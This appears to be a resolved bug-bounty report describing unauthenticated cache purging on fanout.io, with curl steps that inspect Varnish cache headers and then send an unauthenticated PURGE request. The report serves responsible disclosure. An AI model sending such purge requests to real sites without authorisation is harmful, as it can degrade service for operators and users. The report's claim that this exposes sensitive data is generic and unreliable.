Unauthenticated cache purging
None
F
Fastly VDP
Submitted None
Actions:
Reported by
mr_prey3r
Vulnerability Details
Technical details and impact analysis
## Summary:
I found a vulnerability in https://fanout.io/ page known as unauthenticated cache purging vulnerability. This vulnerability arises when cache purging requests are available to the unauthenticated users.
## Steps To Reproduce:
1. Go to any terminal of an OS which has curl installed in it.
2. Type in the following command `curl --head https://fanout.io/` and hit enter. You will see that there are these following HTTP headers available
```http
via: 1.1 varnish
age: 7
x-served-by: cache-qpg1234-QPG
x-cache: HIT
x-cache-hits: 1
```
3. This means that the page is caching the requests. So to reproduce the bug or to exploit it, type `curl -X PURGE https://fanout.io/` and in the response you'll see `{ "status": "ok", "id": "1237-1678993092-222436" }` (the id can be changed in your case)
This response proves that this endpoint is vulnerable to unauthenticated cache purging.
## Supporting Material/References:
F2235408
## Impact
In general, cache purging vulnerabilities can have a high severity level because they can allow an attacker to manipulate the cache of a web application, which can lead to various types of attacks such as website defacement, unauthorized access to sensitive data, or denial of service (DoS) attacks.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Improper Access Control - Generic